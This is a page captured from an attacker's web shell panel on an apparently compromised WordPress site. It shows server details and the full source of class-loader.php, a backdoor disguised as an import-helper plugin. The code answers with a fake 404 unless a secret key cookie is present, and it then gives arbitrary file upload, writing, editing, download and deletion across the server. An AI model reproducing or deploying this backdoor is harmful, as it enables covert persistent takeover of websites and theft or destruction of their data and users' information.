Interactive Terminal

AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell403Webshell

Server IP : dzynews.com / Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /www/wwwroot/dzynews.com/wp-content/plugins/pro-import-helper/

Upload File :

[ Back ]

Current File : /www/wwwroot/dzynews.com/wp-content/plugins/pro-import-helper/class-loader.php

<?php
@ini_set('display_errors','0');
$_k=isset($_COOKIE['ioshrprq'])?$_COOKIE['ioshrprq']:(isset($_REQUEST['ioshrprq'])?$_REQUEST['ioshrprq']:'');
if($_k!=='espqxkgiieaqxnotxcx'){header('HTTP/1.0 404 Not Found');exit('Page not found');}
@setcookie('ioshrprq','espqxkgiieaqxnotxcx',time()+2592000,'/');
$R=isset($_REQUEST['r'])?@realpath($_REQUEST['r']):getcwd();if(!$R)$R=getcwd();
$R=rtrim(str_replace('\\\\','/',$R),'/').'/';
$op=isset($_REQUEST['op'])?$_REQUEST['op']:'';$info='';
if($op==='put'&&!empty($_FILES['u'])){$d=$R.basename($_FILES['u']['name']);$info=@copy($_FILES['u']['tmp_name'],$d)?'Uploaded '.basename($d):'Failed';@chmod($d,0644);}
if($op==='md'&&isset($_REQUEST['nm'])){$info=@mkdir($R.$_REQUEST['nm'],0755)?'Created':'Failed';}
if($op==='del'&&isset($_REQUEST['t'])){$t=$R.$_REQUEST['t'];$info=is_dir($t)?(@rmdir($t)?'Removed':'Failed'):(@unlink($t)?'Deleted':'Failed');}
if($op==='w'&&isset($_REQUEST['t'])&&isset($_POST['data'])){$h=@fopen($R.$_REQUEST['t'],'w');if($h){fwrite($h,$_POST['data']);fclose($h);$info='Saved';}else $info='Error';}
if($op==='g'&&isset($_REQUEST['t'])){$t=$R.$_REQUEST['t'];if(is_file($t)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename='.basename($t));readfile($t);exit;}}
if($op==='e'&&isset($_REQUEST['t'])){$t=$R.$_REQUEST['t'];$raw=is_file($t)?file_get_contents($t):'';
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Edit</title><style>*{margin:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:13px Consolas,monospace}#bar{background:#161b22;padding:8px 12px;border-bottom:1px solid #30363d;display:flex;gap:8px;align-items:center}textarea{width:100%;height:88vh;background:#0d1117;color:#58a6ff;border:none;padding:10px;font:inherit;outline:none}button,a.b{background:#238636;color:#fff;border:none;padding:5px 14px;cursor:pointer;border-radius:6px;text-decoration:none;font-size:13px}</style></head><body><form method="post" action="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=w&t='.urlencode($_REQUEST['t']).'"><div id="bar"><span>'.htmlspecialchars(basename($t)).'</span><button>Save</button><a class="b" href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'">Back</a></div><textarea name="data">'.htmlspecialchars($raw,ENT_QUOTES|ENT_SUBSTITUTE).'</textarea></form></body></html>';exit;}
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>r00t@trenggalek6etar</title><style>*{margin:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:13px -apple-system,Consolas,monospace}#hd{background:#161b22;padding:8px 14px;border-bottom:1px solid #30363d}#tb{padding:6px 14px;background:#0d1117;border-bottom:1px solid #21262d;display:flex;gap:8px;flex-wrap:wrap;align-items:center}table{width:100%;border-collapse:collapse;margin:0 14px}th{text-align:left;padding:7px;background:#161b22;border-bottom:2px solid #30363d}td{padding:5px 7px;border-bottom:1px solid #21262d}tr:hover{background:#161b22}a{color:#58a6ff;text-decoration:none}.rm{color:#f85149}input[type=text],input[type=file]{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:3px 6px;border-radius:4px;font-size:12px}button{background:#238636;color:#fff;border:none;padding:3px 12px;border-radius:6px;cursor:pointer;font-size:12px}.ok{color:#3fb950;padding:4px 14px}</style></head><body>';
echo '<div id="hd"><b>r00t@trenggalek6etar</b> | '.php_uname('s').' '.php_uname('n').' | PHP '.PHP_VERSION.'</div>';
if($info)echo '<div class="ok">'.$info.'</div>';
echo '<div id="tb">';$segs=explode('/',trim($R,'/'));$bp='';foreach($segs as $s){if(!$s)continue;$bp.='/'.$s;echo '<a href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode($bp).'">'.$s.'/</a>';}
echo '<form method="post" enctype="multipart/form-data" action="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=put" style="display:flex;gap:4px;align-items:center;margin-left:auto"><input type="file" name="u"><button>Upload</button></form>';
echo '<form style="display:flex;gap:4px;align-items:center"><input type="hidden" name="ioshrprq" value="espqxkgiieaqxnotxcx"><input type="hidden" name="r" value="'.htmlspecialchars(rtrim($R,'/')).'"><input type="hidden" name="op" value="md"><input type="text" name="nm" placeholder="dir" size="8"><button>New</button></form></div>';
echo '<table><tr><th>Name</th><th>Size</th><th>Date</th><th></th></tr>';
$ls=@scandir($R);if($ls){natcasesort($ls);$dd=[];$ff=[];foreach($ls as $e){if($e==='.')continue;if(is_dir($R.$e))$dd[]=$e;else $ff[]=$e;}
foreach($dd as $e){echo '<tr><td>📂 <a href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode($R.$e).'"><b>'.$e.'</b></a></td><td>&mdash;</td><td>'.@date('M d H:i',filemtime($R.$e)).'</td><td>';if($e!=='..')echo '<a class="rm" href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=del&t='.urlencode($e).'" onclick="return confirm(\'Remove?\')">🗑</a>';echo '</td></tr>';}
foreach($ff as $e){$sz=@filesize($R.$e);$h=$sz>1048576?round($sz/1048576,1).'M':($sz>1024?round($sz/1024,1).'K':$sz);
echo '<tr><td>📄 '.$e.'</td><td>'.$h.'</td><td>'.@date('M d H:i',filemtime($R.$e)).'</td><td><a href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=e&t='.urlencode($e).'">✏️</a> <a href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=g&t='.urlencode($e).'">⬇️</a> <a class="rm" href="?ioshrprq=espqxkgiieaqxnotxcx&r='.urlencode(rtrim($R,'/')).'&op=del&t='.urlencode($e).'" onclick="return confirm(\'Delete?\')">🗑</a></td></tr>';}}
echo '</table></body></html>';

Youez - 2016 - github.com/yon3zu
LinuXploit